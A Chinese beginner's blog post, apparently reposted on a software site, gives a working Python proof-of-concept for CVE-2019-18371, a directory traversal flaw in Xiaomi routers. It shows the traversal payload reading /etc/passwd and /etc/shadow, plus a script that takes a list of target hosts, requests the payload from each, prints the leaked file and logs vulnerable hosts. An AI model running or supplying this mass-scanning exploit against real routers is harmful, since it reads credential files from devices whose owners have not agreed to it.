亲宝软件园·资讯

展开

Python验证脚本

再也没有留恋的斜阳 人气:0

小白尝试写任意文件读取poc

我是一个小白,完全不懂Python,但是Python在渗透中往往是一个重要的角色。
有一个CSDN百万大佬写了这样一句话,不会编程的渗透都是耍流氓。
我虽然菜但是也想尝试学习写一下Python漏洞的poc和exp。

我是在网上找到的学习方法,随便记录一下。尝试写一个批量验证漏洞的poc
发现小米路由器有一个任意文件读取漏洞,学着写了看看

小米路由器远程任意文件读取漏洞
小米路由器远程任意文件读取漏洞(CVE-2019-18371)
小米路由器的Nginx的配置文件错误,导致目录穿越漏洞实现任意文件读取。
可通过访问http://domain.cn/xxx…/etc/passwd实现目录穿越访问上级目录及其子目录文件。
如访问http://192.168.1.1/api-third-party/download/extdisks…/etc/passwd 便可以读取到passwd文件。

写一个批量验证漏洞的poc
第一步实现域名和payload拼接
已知payload=/api-third-party/download/extdisks…/etc/passwd

域名和payload拼接如下

import requests
import time
def poc_check(poc):
    for url in open('xiaomi.txt'):
        url = url.replace('\n','')
        poc_url=url+poc
        print(poc_url) # 把域名和payload拼接成一个完整的域名,然后去请求如果返回200就说明存在漏洞。
if __name__=='__main__':
    poc_xiaomi='/api-third-party/download/extdisks../etc/shadow'
    poc_check(poc_xiaomi)

图片如下

在这里插入图片描述

拼接好的域名尝试访问,如果返回200代表访问成功说明能读取到文件说明存在漏洞
返回其他的状态码就代表不存在漏洞
完整代码如下:

import requests
import time

def poc_check(poc):
    for url in open('xiaomi.txt'):
        url = url.replace('\n','')
        poc_url=url+poc
        # print(poc_url) # 把域名和payload拼接成一个完整的域名,然后去请求如果返回200就说明存在漏洞。
        try:
            print("再也没有留恋的斜阳")
            print("正在检测:")
            print(poc_url)
            poc_data=requests.get(poc_url)
            if poc_data.status_code==200:
                print(poc_data.content.decode('utf-8'))
                with open(r'xiaomivuln.txt','a+') as f:
                    f.write(poc_url+'\n')
                    f.close()
        except Exception as e:
            time.sleep(0.1)
            pass
if __name__=='__main__':
    poc_xiaomi='/api-third-party/download/extdisks../etc/shadow'
    # poc_xiaomi1='/api-third-party/download/extdisks../etc/passwd'
    poc_check(poc_xiaomi)
    # poc_check(poc_xiaomi1)

在这里插入图片描述

写完了,我太水了的是照着别人写的

加载全部内容

相关教程
猜你喜欢
用户评论